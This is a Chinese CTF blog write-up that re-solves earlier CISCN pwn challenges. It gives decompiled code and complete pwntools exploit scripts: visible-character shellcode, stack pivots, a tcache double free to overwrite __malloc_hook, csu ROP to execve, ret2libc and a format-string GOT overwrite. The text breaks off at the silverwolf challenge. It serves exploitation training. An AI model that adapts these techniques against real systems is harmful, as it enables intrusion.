备战一下今年的国赛 准备复现以往的题目来熟悉一下难度
[CISCN 2022 初赛]login_normal [!] Could not populate PLT: invalid syntax (unicorn.py, line 110) [*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: '/home/chen/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'
保护全开 一开始还以为是道堆题 ida进去看看
void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { char s[1032 ]; unsigned __int64 v4; v4 = __readfsqword(0x28 u); buffer(); while ( 1 ) { memset (s, 0 , 0x400 uLL); printf (">>> " ); read(0 , s, 0x3FF uLL); sub_FFD(s); } }
main函数接收了s 并且作为sub_ffd的参数 跟进一下
unsigned __int64 __fastcall sub_FFD (_BYTE *a1) { char *sa; char *sb; char *sc; char *sd; char v7; int v8; int v9; void *dest; char *s1; char *nptr; unsigned __int64 v13; v13 = __readfsqword(0x28 u); memset (bss_array, 0 , sizeof (bss_array)); v8 = 0 ; v7 = 0 ; dest = 0LL ; while ( !*a1 || *a1 != '\n' && (*a1 != '\r' || a1[1 ] != 10 ) ) { if ( v8 <= 5 ) bss_array[2 * v8] = a1; sb = strchr (a1, ':' ); if ( !sb ) { puts ("error." ); exit (1 ); } *sb = 0 ; for ( sc = sb + 1 ; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t' ); ++sc ) *sc = 0 ; if ( !*sc ) { puts ("abort." ); exit (2 ); } if ( v8 <= 5 ) bss_array[2 * v8 + 1 ] = sc; sd = strchr (sc, '\n' ); if ( !sd ) { puts ("error." ); exit (3 ); } *sd = 0 ; a1 = sd + 1 ; if ( *a1 == '\r' ) *a1++ = 0 ; s1 = bss_array[2 * v8]; nptr = bss_array[2 * v8 + 1 ]; if ( !strcasecmp(s1, "opt" ) ) { if ( v7 ) { puts ("error." ); exit (5 ); } v7 = atoi(nptr); } else { if ( strcasecmp(s1, "msg" ) ) { puts ("error." ); exit (4 ); } if ( strlen (nptr) <= 1 ) { puts ("error." ); exit (5 ); } v9 = strlen (nptr) - 1 ; if ( dest ) { puts ("error." ); exit (5 ); } dest = calloc (v9 + 8 , 1uLL ); if ( v9 <= 0 ) { puts ("error." ); exit (5 ); } memcpy (dest, nptr, v9); } ++v8; } *a1 = 0 ; sa = a1 + 1 ; if ( *sa == '\n' ) *sa = 0 ; switch ( v7 ) { case 2 : sub_DA8(dest); break ; case 3 : sub_EFE(dest); break ; case 1 : sub_CBD(dest); break ; default : puts ("error." ); exit (6 ); } return __readfsqword(0x28 u) ^ v13; }
很长的一串代码 我们需要先代码审计看一下这串代码目的是什么
v13 = __readfsqword(0x28 u); memset (bss_array, 0 , sizeof (bss_array));v8 = 0 ; v7 = 0 ; dest = 0LL ;
对于几个变量进行了初始化
while ( !*a1 || *a1 != '\n' && (*a1 != '\r' || a1[1 ] != 10 ) )
当a1为\x00 \n \r 时跳出while循环 接着我们来分析一下while中的内容
if ( v8 <= 5 ) bss_array[2 * v8] = a1; sb = strchr (a1, ':' ); if ( !sb ) { puts ("error." ); exit (1 ); } *sb = 0 ;
首先是第一个判断 v8在while的末尾进行了一个自增运算 是用来限制执行次数的 那么这个while循环最多只能循环六次
接着在bss段上的一个全局数组存入a1 即我们在main函数中输入的s字符串
利用strchr函数查找了a1中’:’的位置 如果没有查找到的话就进入if循环 exit退出
同时将对应的’:’清零
for ( sc = sb + 1 ; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t' ); ++sc ) *sc = 0 ; if ( !*sc ) { puts ("abort." ); exit (2 ); }
第二次判断 先进行了一个for循环 sc指向’:’的下一个字节处
for循环的执行顺序为 先赋值再判断 最后进入循环内 而循环的内容是清零对应地址指向的内容 看到下面的if判断 显然不是我们想要的结果
所以想办法绕过for循环 那就使得’:’后的一个字节为’ ‘、’\r’、’\n’、’\t’
if ( v8 <= 5 ) bss_array[2 * v8 + 1 ] = sc; sd = strchr (sc, '\n' ); if ( !sd ) { puts ("error." ); exit (3 ); } *sd = 0 ;
第三个判断 要求字符串中有\n 所以上面的判断我们填入的应该是\n
a1 = sd + 1 ; if ( *a1 == '\r' ) *a1++ = 0 ; s1 = bss_array[2 * v8]; nptr = bss_array[2 * v8 + 1 ];
a1为’\n’后的下一个字节处
如果a1为\r 那么其下一个字长处为0
此时将s1和nptr赋值为bss_array 我们回溯一下上面 可以发现在最开始和第三次判断之前进行了赋值
bss_array[2 * v8] = a1; bss_array[2 * v8 + 1 ] = sc;
最开始的a1并没有任何的修改 所以此时的s1应该为最开始我们输入的s字符串中’:’前面的字符串
而sc为’:’后面的字符串 不过由于在第三次判断时 使sd的值为0 sd为sc字符串中’\n’的 所以sc只剩下’:’后除’\n’字符串了
if ( !strcasecmp(s1, "opt" ) ) { if ( v7 ) { puts ("error." ); exit (5 ); } v7 = atoi(nptr); } else { if ( strcasecmp(s1, "msg" ) ) { puts ("error." ); exit (4 ); } if ( strlen (nptr) <= 1 ) { puts ("error." ); exit (5 ); } v9 = strlen (nptr) - 1 ; if ( dest ) { puts ("error." ); exit (5 ); } dest = calloc (v9 + 8 , 1uLL ); if ( v9 <= 0 ) { puts ("error." ); exit (5 ); } memcpy (dest, nptr, v9); } ++v8; }
接着来看这个if判断式 如果s1等于’opt’就进入if 否则进入else
if中将nptr的值赋值给了v7
else中计算了nptr的长度 并且减去1后赋值给了v9 最后申请了一块堆空间 将nptr以v9个字节读入到dest中
*a1 = 0 ; sa = a1 + 1 ; if ( *sa == '\n' ) *sa = 0 ; switch ( v7 ) { case 2 : sub_DA8(dest); break ; case 3 : sub_EFE(dest); break ; case 1 : sub_CBD(dest); break ; default : puts ("error." ); exit (6 ); }
最后一个部分 清空了a1的值 sa指向a1字符串的末尾 如果有换行符赋值为0
最后进行一个switch选择分支 参数为v7
根据v7的值进入不同的函数 参数为dest
综上所述 我们需要构造的payload的格式应该为
opt:(v7)(x)\n 或者是msg:(dest)(x)\n 其中x是任意单字节的垃圾数据 因为需要使得v9等于dest的长度
接着跟进一下switch分支中的各个函数
unsigned __int64 __fastcall sub_CBD (const char *a1) { int i; unsigned __int64 v3; v3 = __readfsqword(0x28 u); for ( i = 0 ; i < strlen (a1); ++i ) { if ( !isprint (a1[i]) && a1[i] != 10 ) { puts ("oh!" ); exit (-1 ); } } if ( !strcmp (a1, "ro0t" ) ) { unk_202028 = 1 ; unk_202024 = 1 ; } else { unk_202028 = 1 ; } return __readfsqword(0x28 u) ^ v3; }
for循环中对dest中的字符串进行了检查 isprintf检查字符是否可以被打印 同时&&关联了一个判断式 当dest中没有换行符时才能通过if判断
接着如果dest字符串的值为ro0t时 unk_202028 = unk_202024 = 1 否则unk_202028 = 1
这里可能会有疑惑 之前的函数不是将dest中的\n赋值为了0 这个0会对字符串的判断产生影响吗
#include <stdio.h> #include <string.h> int main () { char a[20 ]; scanf ("%s" ,a); int b; b=strcasecmp(a,"test" ); printf ("%d" ,b); }
这里尝试了一下 答案是不会
这里还不知道这两个bss段的全局变量值会有什么影响 接着看下一个函数
unsigned __int64 __fastcall sub_DA8 (const char *a1) { unsigned int v1; size_t v2; int i; void *dest; unsigned __int64 v6; v6 = __readfsqword(0x28 u); for ( i = 0 ; i < strlen (a1); ++i ) { if ( !isprint (a1[i]) && a1[i] != 10 ) { puts ("oh!" ); exit (-1 ); } } if ( unk_202028 != 1 ) { puts ("oh!" ); exit (-1 ); } if ( unk_202024 ) { v1 = getpagesize(); dest = mmap(&loc_FFE + 2 , v1, 7 , 34 , 0 , 0LL ); v2 = strlen (a1); memcpy (dest, a1, v2); (dest)(); } else { puts (a1); } return __readfsqword(0x28 u) ^ v6; }
开头同样是对于dest字符串进行一个检测 接着如果unk_202028不等于1就结束进程
如果unk_202024=1就进入if分支否则进入else分支 else分支可以打印出a1 但是感觉不太好利用 还是来看看if分支
getpagesize获取了当前页的基地址 目的是为了配合mmap函数将该页的权限修改为7 即可读可写可执行
接着将a1字符串写入到这块内存空间中 最后执行 那显然是shellcode
并且还得是可见字符串shellcode 否则过不了最开始的判断
剩下一个函数就没什么好看的了 没啥作用
可见字符串shellcode要利用alpha3生成 具体的办法我相关博客有写 这里不复述 要注意的是本题的shellcode执行是call rdx
完整exp:
from pwn import *from struct import packio = process("./pwn" ) context.log_level = "debug" elf = ELF("./pwn" ) libc = ELF("./buu_libc_ubuntu18_64" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] context.arch = "amd64" def debug (): gdb.attach(io) pause() shellcode = 'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t' payload1='opt:1\n' +'msg:ro0ta\n' io.sendlineafter(">>> " ,payload1) payload2 = 'opt:2\n' +'msg:' + shellcode + 'a\n' io.sendlineafter(">>> " ,payload2) io.interactive()
ciscn_2019_es_2 checksec看一下保护机制
ida打开 主函数应该是vul 跟进看一下
int vul () { char s[40 ]; memset (s, 0 , 0x20 u); read(0 , s, 0x30 u); printf ("Hello, %s\n" , s); read(0 , s, 0x30 u); return printf ("Hello, %s\n" , s); }
只能溢出两个字长 只够我们覆盖ebp和ret addr
这种情况下只能考虑栈迁移了
先搞清楚为什么出题人会给两个read吧
栈迁移我们首先需要知道栈帧的地址
而我们知道 一个栈帧在结束的时候 ebp中存储的是父函数的栈底地址
printf函数遇到\0时就会停止输出 如果我们将s这个数组填满
那么它就会继续输出下一个字长 这样我们就泄露了ebp的内容
此时我们使用gdb进行动调 目的是为了得到ebp和我们输入的s的偏移(哪怕开启了pie或者RELRO 由于分页机制的特性 偏移是不变的)
我们将断点打在vul函数的nop汇编的地址
0xa8-0x70 = 0x38 于是我们得到 变量s的起始地址为ebp_addr - 0x38
payload = (b"aaaa" +p32(system_addr)+p32(0 )+p32(ebp_addr-0x38 +0x10 )+b"/bin/sh" ).ljust(0x28 ,b"\x00" ) payload += p32(ebp_addr-0x38 )+p32(leave_ret)
这里解释一下p32(ebp_addr-0x38+0x10)
我们知道 栈迁移需要一个字长的垃圾数据来平衡栈 此时aaaa的地址为ebp_addr-0x38
/bin/sh前面的三个字长则占用了0xc字节
所以此时/bin/sh的位置则位于ebp_addr-0x38+0x10
完整exp:
from pwn import *io = remote("node4.buuoj.cn" ,28157 ) context.log_level = "debug" elf = ELF("./pwn" ) io.recvuntil("Welcome, my friend. What's your name?" ) payload = b"a" *0x27 +b"b" io.send(payload) io.recvuntil("b" ) ebp_addr = u32(io.recv(4 )) system_addr = 0x8048400 binsh_addr = ebp_addr - 0x38 +0x10 ret_addr = 0x080483a6 leave_addr = 0x080484b8 payload = (cyclic(0x4 )+p32(system_addr)+p32(0xabcdabcd )+p32(binsh_addr)+b"/bin/sh" ).ljust(0x28 ,b"\x00" ) payload += p32(ebp_addr-0x38 )+p32(leave_addr) io.sendline(payload) io.interactive()
ciscn-2019-final-3 这题没想出来根据堆块地址不断申请到main_arena的chunk 然后泄露基址的思路
记录一下 扩展一下思路
checksec
ida反编译 看一下伪代码
void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { __int64 v3; int v4; unsigned __int64 v5; v5 = __readfsqword(0x28 u); sub_C5A (a1, a2, a3); v3 = std::operator <<<std::char_traits<char >>(&std::cout, "welcome to babyheap" ); std::ostream::operator <<(v3, &std::endl<char ,std::char_traits<char >>); while ( 1 ) { menu (); std::operator <<<std::char_traits<char >>(&std::cout, "choice > " ); std::istream::operator >>(&std::cin, &v4); if ( v4 == 1 ) { add (); } else if ( v4 == 2 ) { delete (); } } }
只给了两个函数 add和delete 其中delete没有置零指针 存在UAF漏洞
add函数在申请完chunk后打印了chunk的用户空间区域首地址
那么此时我们拥有的漏洞只有UAF了 只能利用这个来泄露基址和获取shell
获取shell好说 这题的环境是Ubuntu18 可以打hook 并且tcache的检查机制没有fastbin那么复杂 可以很轻松的利用double free修改fd来申请任意内存空间的chunk
那么难点落在泄露libc基址了 题目没有给我们show函数 但是相比其他堆题给了打印申请chunk的地址的机会
很明显要利用这个来替代show函数
那么此时就可以利用UAF来申请到一块位于libc基址附近内存区域的chunk
那么我们可以联想到如果unsortedbin中的单个链表如果只有一个 free chunk 那么其fd和bk域的值就会是main_arena_addr+padding
此时存放main_arena_addr的地址我们也知道 就可以在tcachebin上窜成一个链表 申请到位于main_arena_addr的堆块
那么此时add函数中的这条代码就可以输出该chunk的用户空间首地址 即泄露了main_arena_addr 我们就可以得到libc基址
from pwn import *from struct import packio = process("./pwn" ) context.log_level = "debug" elf = ELF("./pwn" ) libc = ELF("./libc.so.6" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] context.arch = "amd64" def debug (): gdb.attach(io) pause() def add (index,size,payload ): io.recvuntil("choice > " ) io.sendline(b'1' ) io.recvuntil("input the index" ) io.sendline(str (index)) io.recvuntil("input the size" ) io.sendline(str (size)) io.recvuntil("now you can write something" ) io.send(payload) io.recvuntil("gift :" ) def delete (index ): io.recvuntil("choice > " ) io.sendline(b'2' ) io.recvuntil("input the index" ) io.sendline(str (index)) add(0 ,0x70 ,b'aaaa' ) add(1 ,0x70 ,b'aaaa' ) heap_addr = int (io.recv(14 ),16 ) success(hex (heap_addr)) for i in range (1 ,9 ): add(i+1 ,0x70 ,b'aaaa' ) delete(0 ) delete(0 ) add(10 ,0x70 ,p64(heap_addr-0x10 )) add(11 ,0x70 ,b'aaaa' )
此时 我们double free chunk0 此时的链表结构如下图
按照tcachebins单向链表先进后出的原则 此时我们获得是蓝色的那个free chunk 并且tcachebin显示的链表地址是chunk的用户空间首地址
此时我们将申请的chunk的内容设置为chunk1的首地址 就可以将其作为白色的free chunk的fd域 挂载在链表上 从而我们就可以申请到对应的内存空间
而利用for循环申请的几个chunk 则是为了等下修改chunk1的size域 从而合并后面的chunk空间 获得一个大于tcachebin范围的chunk 这样就能释放到unsortedbin中了
payload = p64(0 )+p64(0x481 ) add(12 ,0x70 ,payload) add(13 ,0x20 ,b'aaaa' ) add(14 ,0x20 ,b'aaaa' ) delete(1 )
此时覆盖chunk1的size域 并且释放chunk1 chunk13是用来后面的double free chunk14是用来防止和top chunk合并
此时我们就成功往unsortedbin中释放了一个chunk
那么指向main_arena的地址也就是我们上面的heap_addr
我们用同样的办法 再次利用double free任意申请到一个chunk
delete(13 ) delete(13 ) add(15 ,0x20 ,p64(heap_addr))
但是此时的链表结构显示是不全的 其是根据箭头所指的数据来显示free chunk
使用tel指令可以查看其地址指向
add(16 ,0x20 ,b'aaaa' ) add(17 ,0x20 ,b'bbbb' ) add(18 ,0x20 ,b'aaaa' ) main_arena_addr = int (io.recv(14 ),16 ) success(hex (main_arena_addr)) libc_addr = main_arena_addr - (0x7f355d756ca0 -0x7f355d36b000 ) success(hex (libc_addr)) onegadget_addr = libc_addr + 0x10a38c
此时我们连续申请三个chunk 申请的第三个chunk就会分配到main_arena的空间
就成功泄露了基址
add(19 ,0x60 ,b'aaaa' ) delete(19 ) delete(19 ) malloc_hook = libc_addr + libc.sym['__malloc_hook' ] add(20 ,0x60 ,p64(malloc_hook)) add(21 ,0x60 ,b'aaaa' ) add(22 ,0x60 ,p64(onegadget_addr)) io.recvuntil("choice > " ) io.sendline(b'1' ) io.recvuntil("input the index" ) io.sendline(b'23' ) io.recvuntil("input the size" ) io.sendline(b'0x70' ) io.interactive()
最后一步同理 通过同样的double free办法 获取任意写malloc_hook的机会 将其修改为onegadget 再次调用malloc的时候就会触发onegadget 获取shell
ciscn-2019-s-3 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
主体函数非常简单 利用系统调用号实现了一次输入和输出
signed __int64 vuln () { signed __int64 v0; char buf[16 ]; v0 = sys_read(0 , buf, 0x400 uLL); return sys_write(1u , buf, 0x30 uLL); }
还有一个gadget函数 看一下汇编代码
.text:00000000004004D6 ; =============== S U B R O U T I N E ======================================= .text:00000000004004D6 .text:00000000004004D6 ; Attributes: bp-based frame .text:00000000004004D6 .text:00000000004004D6 public gadgets .text:00000000004004D6 gadgets proc near .text:00000000004004D6 ; __unwind { .text:00000000004004D6 push rbp .text:00000000004004D7 mov rbp, rsp .text:00000000004004DA mov rax, 0Fh .text:00000000004004E1 retn .text:00000000004004E1 gadgets endp ; sp-analysis failed .text:00000000004004E1 .text:00000000004004E2 ; --------------------------------------------------------------------------- .text:00000000004004E2 mov rax, 3Bh ; ';' .text:00000000004004E9 retn .text:00000000004004E9 ; ---------------------------------------------------------------------------
下方的0x3b则为59 是execve的系统调用号
应该是构造rop链 但是这题没有办法泄露libc基址 从而也没有办法获取/bin/sh的地址
所以只能通过写入栈上
要想利用栈 先得获得栈的地址 发现sys_write函数可以打印出0x30字节 而buf距离rbp只有0x10
还有一点需要注意 发现vuln函数的结尾并没有leave指令 也就是说我们只需要覆盖rbp就可以控制程序执行流
.text:00000000004004ED ; __unwind { .text:00000000004004ED push rbp .text:00000000004004EE mov rbp, rsp .text:00000000004004F1 xor rax, rax .text:00000000004004F4 mov edx, 400h ; count .text:00000000004004F9 lea rsi, [rsp+buf] ; buf .text:00000000004004FE mov rdi, rax ; fd .text:0000000000400501 syscall ; LINUX - sys_read .text:0000000000400503 mov rax, 1 .text:000000000040050A mov edx, 30h ; '0' ; count .text:000000000040050F lea rsi, [rsp+buf] ; buf .text:0000000000400514 mov rdi, rax ; fd .text:0000000000400517 syscall ; LINUX - sys_write .text:0000000000400519 retn .text:0000000000400519 vuln endp ; sp-analysis failed .text:0000000000400519 .text:0000000000400519 ; ---------------------------------------------------------------------------
from pwn import *io = process("./pwn" ) elf = ELF("./pwn" ) context.log_level = "debug" context.arch = "amd64" main_addr = elf.sym['main' ] payload = b"/bin/sh\x00" +b"a" *7 +b"c" +p64(main_addr) io.send(payload) io.recvuntil("c" ) io.recv(16 ) stack_addr = u64(io.recvuntil("\x7f" ).ljust(8 ,b"\x00" )) gdb.attach(io) print (hex (stack_addr))
可以看到泄露出了栈上的地址 但是此时我们并没有办法得知其与写入栈上的/bin/sh的偏移
这里的原因暂时没有办法得知 先放着这个疑问
下面我们进行系统调用 由于需要用到三个寄存器 所以这里用到csu
具体的流程我就不过多赘述了
rdi_addr = 0x4005a3 syscall_addr = 0x400517 int59_addr = 0x4004E2 gadget2_addr = 0x400596 gadget1_addr = 0x400580 payload = b"/bin/sh\x00" +b"a" *8 +p64(int59_addr)+p64(gadget2_addr) payload += cyclic(0x8 ) payload += p64(0 ) payload += p64(1 ) binsh_addr = stack_addr - 0x138 payload += p64(binsh_addr+0x10 ) payload += p64(0 )*3 payload += p64(gadget1_addr) payload += cyclic(56 ) payload += p64(rdi_addr) payload += p64(binsh_addr) payload += p64(syscall_addr) io.sendline(payload)
这里重点解释一下三个方面
1.为什么要多出一个p64(int59_addr)在栈上
这是因为call指令的问题 他跳转的是对应地址中存储的值 我们如果直接跳转到int59_addr是调用失败的
2.binsh_addr和stack_addr的偏移是怎么求出来的
我们将断点打在csu执行到call r12那一行
然后gdb看一下栈
可以计算出偏移为0x138
还有第二种办法可以查看到/bin/sh位于栈上的地址 stack 24实际上是以rsp往高地址方向
如果我们使rsp的地址减少 就可以做到查看低地址处的栈内容
看到这里你也能够理解我们赋值给r12的binsh_addr+0x10是什么用意了吧
最终exp:
from pwn import *io = process("./pwn" ) elf = ELF("./pwn" ) context.log_level = "debug" context.arch = "amd64" main_addr = elf.sym['main' ] payload = b"/bin/sh\x00" +b"a" *7 +b"c" +p64(main_addr) io.send(payload) io.recvuntil("c" ) io.recv(16 ) stack_addr = u64(io.recvuntil("\x7f" ).ljust(8 ,b"\x00" )) binsh_addr = stack_addr - 0x138 rdi_addr = 0x4005a3 syscall_addr = 0x400517 int59_addr = 0x4004E2 gadget2_addr = 0x400596 gadget1_addr = 0x400580 payload = b"/bin/sh\x00" +b"a" *8 +p64(int59_addr)+p64(gadget2_addr) payload += cyclic(0x8 ) payload += p64(0 ) payload += p64(1 ) payload += p64(binsh_addr+0x10 ) payload += p64(0 )*3 payload += p64(gadget1_addr) payload += cyclic(56 ) payload += p64(rdi_addr) payload += p64(binsh_addr) payload += p64(syscall_addr) io.sendline(payload) io.interactive()
[CISCN 2019华北]PWN1 比较简单的一题 看一下保护机制
ida查看一下伪代码
int __cdecl main (int argc, const char **argv, const char **envp) { setvbuf(_bss_start, 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); func(); return 0 ; }
main函数就很简单的清空了缓存区 顺便调用了func函数 跟进一下
int func () { int result; char v1[44 ]; float v2; v2 = 0.0 ; puts ("Let's guess the number." ); gets(v1); if ( v2 == 11.28125 ) result = system("cat /flag" ); else result = puts ("Its value should be 11.28125" ); return result; }
考了一手浮点数传参 比较简单 由于这题保护开的比较少 所以也可以直接栈溢出
两种做法都演示一下吧
1.浮点数传参
看一下汇编代码
movss是处理float精度的浮点数指令 这里顺便扩展一下知识点 处理double精度的浮点数用的是movsd
针对不同的字节数 还有movsb movsw ‘b’ ‘w’ ‘d’ 分别对应的一位 一字节 双字节
除此之外还有movzx movsx两兄弟
你可能也遇到过 我们编写如下程序
#include <stdio.h> char a[0x100 ];int main () { char a = 120 ; a += 9 ; printf ("%d" ,a); }
预期结果应该是129对吧 但是最后的输出结果却是
这是因为char类型变量只有单字节 也就是只有8位 哪怕是无符号数其范围也只有0-255 符号数范围只有-128-127
显然129就超过了其范围 需要进行扩展 例如利用int型进行一个中转
而movzx和movsx也起到同样的作用
movzx扩展的时候高位全补0 例如0xffff 补全成0x0000ffff
movsx扩展的时候根据符号位决定补1还是0 例如0xffff 是负数 那么补1 也就是0xffffffff
话归正题 我们索引一下浮点数应该是dword_4007F4
取其值传参 0x41348000
exp:
from pwn import *io = remote("1.14.71.254" ,28934 ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() io.recvuntil("Let's guess the number." ) payload = cyclic(0x2c )+p32(0x41348000 ) io.sendline(payload) io.recv() io.recv()
2.ret2text
很简单 直接贴exp吧
from pwn import *io = process("./pwn" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() io.recvuntil("Let's guess the number." ) backdoor_addr = 0x4006BE payload = cyclic(0x38 )+p32(backdoor_addr) io.sendline(payload) io.recv() io.recv()
[CISCN 2019东北]PWN2 比较简单的一题 打ret2text 但是NSS平台上没给libc文件 就用libcsearch来 不过这个也有坑 老版的已经没有维护了 得安装新版本的 新版本的是联网的
Lan1keA/LibcSearcher: 🔍 LibcSearcher-ng – get symbols’ offset in glibc. (github.com)
保护机制 我为了方便本地调试把libc依赖更换了 忽视即可
int __cdecl main (int argc, const char **argv, const char **envp) { int v4; init(argc, argv, envp); puts ("EEEEEEE hh iii " ); puts ("EE mm mm mmmm aa aa cccc hh nn nnn eee " ); puts ("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e " ); puts ("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee " ); puts ("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee " ); puts ("====================================================================" ); puts ("Welcome to this Encryption machine\n" ); begin(); while ( 1 ) { while ( 1 ) { fflush(0LL ); v4 = 0 ; __isoc99_scanf("%d" , &v4); getchar(); if ( v4 != 2 ) break ; puts ("I think you can do it by yourself" ); begin(); } if ( v4 == 3 ) { puts ("Bye!" ); return 0 ; } if ( v4 != 1 ) break ; encrypt(); begin(); } puts ("Something Wrong!" ); return 0 ; }
begin函数跟进一下
int begin () { puts ("====================================================================" ); puts ("1.Encrypt" ); puts ("2.Decrypt" ); puts ("3.Exit" ); return puts ("Input your choice!" ); }
只有encrypt函数有点东西 跟进一下
int encrypt () { size_t v0; char s[48 ]; __int16 v3; memset (s, 0 , sizeof (s)); v3 = 0 ; puts ("Input your Plaintext to be encrypted" ); gets(s); while ( 1 ) { v0 = (unsigned int )x; if ( v0 >= strlen (s) ) break ; if ( s[x] <= '`' || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xC u; } else { s[x] ^= 0xD u; } } else { s[x] ^= 0xE u; } ++x; } puts ("Ciphertext" ); return puts (s); }
对于我们输入的字符串s进行了加密 并且打印出来 不过由于没开canary和pie 又有gets函数 这里直接栈溢出打个ret2text就好了 唯一一点要注意的是就是最后要进行栈对齐 判断方法就是gdb动调一直n下去 卡住的时候如果sp指针末尾是8即需要栈对齐
exp:
from pwn import *from LibcSearcher import *io = process("./pwn" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() io.recvuntil("Input your choice!" ) io.sendline(b'1' ) io.recvuntil("Input your Plaintext to be encrypted" ) rdi_addr = 0x0000000000400c83 puts_got = elf.got['puts' ] puts_sym = 0x4006e0 back_addr = 0x400A47 start_addr = elf.sym['_start' ] payload = cyclic(0x50 +0x8 )+p64(rdi_addr)+p64(puts_got)+p64(puts_sym)+p64(start_addr) io.sendline(payload) io.recv() io.recvuntil("\x7f" ) ret_addr = 0x00000000004006b9 puts_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) success("puts_addr :" +hex (puts_addr)) obj = LibcSearcher("puts" ,puts_addr) libc_addr = puts_addr - obj.dump("puts" ) success("libc_addr :" +hex (libc_addr)) system_addr = libc_addr + obj.dump("system" ) binsh_addr = libc_addr + obj.dump("str_bin_sh" ) io.recvuntil("Input your choice!" ) io.sendline(b'1' ) io.recvuntil("Input your Plaintext to be encrypted" ) payload = cyclic(0x58 )+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr) io.sendline(payload) io.interactive()
[CISCN 2019东南]PWN2 看一下保护机制
ida看一下伪代码
int __cdecl main (int argc, const char **argv, const char **envp) { init(); puts ("Welcome, my friend. What's your name?" ); vul(); return 0 ; }
分别跟进一下init函数和vul函数
init函数就是清空了缓存区
int init () { setvbuf(stdin , 0 , 2 , 0 ); return setvbuf(stdout , 0 , 2 , 0 ); }
vul函数相当于主函数 分析一下
int vul () { char s[40 ]; memset (s, 0 , 0x20 u); read(0 , s, 0x30 u); printf ("Hello, %s\n" , s); read(0 , s, 0x30 u); return printf ("Hello, %s\n" , s); }
给了两次read的机会 rsi都是栈上的s 同时输入完了以后还进行了printf操作
没有开启canary和pie 存在栈溢出 栈溢出只有两个字长的距离 只够覆盖ebp和ret addr
猜测一手栈迁移 但是目前没有bss段的地址可写 也没有给栈上的地址 既然这样那我们就自己泄露吧
gdb动调一下 断点打在printf函数调用的时候
这里我选择的是ebp处存放的栈地址
printf函数遇到\0就会截停 所以我们只需要用垃圾数据覆盖esp到ebp之间的空间 就可以让printf函数一路畅通无阻 泄露出其内容
from pwn import *from LibcSearcher import *io = remote("1.14.71.254" ,28294 ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() io.recvuntil("Welcome, my friend. What's your name?" ) payload = cyclic(0x28 ) io.send(payload) stack_addr = u32(io.recvuntil("\xff" )[-4 :]) success("stack_addr :" +hex (stack_addr))
随后就是栈迁移的部分了 gdb动调看一下我们第二次输入的s字符串的起始地址和泄露出来的栈地址偏移是多少 顺便在计算一下我们手动放入的binsh字符串的地址 最后利用题目已经给过的system函数构造rop链 获取shell
完整exp:
from pwn import *from LibcSearcher import *io = process("./pwn" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() io.recvuntil("Welcome, my friend. What's your name?" ) payload = cyclic(0x28 ) io.send(payload) stack_addr = u32(io.recvuntil("\xff" )[-4 :]) success("stack_addr :" +hex (stack_addr)) system_addr = 0x8048400 s_addr = stack_addr - (0xff976728 -0xff9766f0 ) binsh_addr = s_addr + 0xc leave_addr = 0x080484b8 payload = p32(system_addr)+p32(0 )+p32(binsh_addr)+b'/bin/sh;' payload = payload.ljust(0x28 )+p32(s_addr-0x4 )+p32(leave_addr) io.send(payload) io.interactive()
[CISCN 2019西南]PWN1 解析放到栈分类的手写格式化字符串漏洞中了 下面直接放exp
from pwn import *from LibcSearcher import *io = remote("1.14.71.254" ,28417 ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] context.arch = "i386" elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() fini_addr = 0x804979C main_addr = 0x8048534 printf_got = 0x804989c system_addr = 0x80483d0 io.recvuntil("Welcome to my ctf! What's your name?" ) payload = b'%' +str (0x0804 ).encode()+b'c%15$hn' payload += b'%16$hn' payload += b'%' +str (0x83d0 -0x0804 ).encode()+b'c%17$hn' payload += b'%' +str (0x8534 -0x83d0 ).encode()+b'c%18$hnaa' payload += p32(fini_addr+2 ) payload += p32(printf_got+2 ) payload += p32(printf_got) payload += p32(fini_addr) print (len (payload))io.sendline(payload) io.recvuntil("Welcome to my ctf! What's your name?" ) payload = b'/bin/sh' io.sendline(payload) io.interactive()
[CISCN 2021 初赛]silverwolf 这题不是很难 但是难点在于多个知识点的结合
在复现的时候也是学习到了许多新知识 下面详细复现一遍
保护全开 同时libc文件是比较少见的2.27 1.3的小版本 这个版本也和目前最新的1.6版本一样 对于tcache有了新的检查机制
ida看一下几个函数
